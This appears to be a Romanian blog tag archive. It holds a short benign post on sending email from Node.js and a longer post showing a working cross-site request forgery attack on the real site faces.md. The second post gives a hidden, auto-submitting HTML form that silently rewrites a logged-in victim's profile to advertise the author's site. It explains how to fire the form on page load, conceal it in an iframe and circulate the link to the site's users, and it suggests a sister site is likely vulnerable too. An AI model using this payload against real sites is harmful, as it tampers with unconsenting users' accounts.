Tag Archives: js

send emails from nodejs

Problema se pune sa trimiti cat mai usor un mail, de pe o masina de linux cu un server MTA instalat+configurat bine, din nodejs.
In acelasi mod cum il face si php cu ajutorul functiei mail

Am gasit o librarie emailjs, care face toata treaba intr-un mod placut.

Folosesc node v0.6.12

1
2
$ node -v
v0.6.12

Instalez libraria emailjs

1
$ npm install emailjs

Si un exemplu simplu de a trimite email cu ajutorul MTA-ului local:

Continue reading send emails from nodejs

XSRF pe faces.md

sa incepem cu simplu… CSRF = Cross-Site Request Forgery. Mai multe detalii gasiti pe google… 

Despre XSRF pe siteul www.faces.md (ca tot stau cu zilele pe el). M-am uitat cam la toate formele de prin faces… si ma gindeam unde as putea sa aplic si eu noile cunostinte (nu chiar noi, doar ca acuma au primit o denumire oficiala 🙂 ). Cautat… cautat… si… de ce nu sa fac putina reclama la puk-u’ ista a meu…. Deci… pe pasi:

intrat pe www.faces.md …

logat cu useru meu… 

intrat la “Profile Data” si de acolo la “Description”. 

In pagina deschisa se poate seta Titlul si Descrierea profilului…. Si de aici se incepe si vulnerabilitatea. Am deschis sursa paginii… cautat forma unde se face introducerea datelor, am simplificato putin… si rezultatul final este:

<form id="step4" action="http://www.faces.md/profile/edit/step/4" method="post">
        <input id="descriptionTitleId" class="tc_txtr_inp"
               onclick="document.getElementById('selectedArea').value = 'descriptionTitleId';"
               name="descriptionTitle" type="hidden" value="husanu" />
	<input id="descriptionId" class="tc_txtr"
               onclick="document.getElementById('selectedArea').value = 'descriptionId';"
               name="description" type="hidden" value="http://www.puk.ro" />
	<input id="selectedArea" type="hidden" value="descriptionId" />
</form>

la parametrii formei am adaugat un ID=”step4″, pentru a-l folosi in continuare. Acum, avand aceasta forma simplificata, putem apela submit(); astfel ca modificarile se vor face asupra utilizatorului curent care e logat in calculator. Pentru a juta userul, ca sa nu se chinui sa mai apese SUBMIT, cream o pagina HTML simpla, si atasam tagului <body> evenimentu:

onload = “document.getElementById(‘step4’).submit()”

astfel…. odata ce se incarca pagina…. se vor face modificarile necesare asupra profilului (in cazul ca este logat userul pe faces.md). 

Respectivul cod, mai apoi se poate ascunde intr-un IFRAME, astfel incat sa nu sara in ochi o pagina care te redirecteaza catre www.faces.md … si voila… acu dam linku tuturor de pe www.faces.md …

picture-1

Pentru exemplificare, am creat pagina http://a.puk.ro , care contine un frame care incarca pagina ce face submit.

Intrucat, www.faces.md sunt frati cu cei de la www.neogen.ro …. cred ca se reproduce problema si la ei 🙂

Enjoy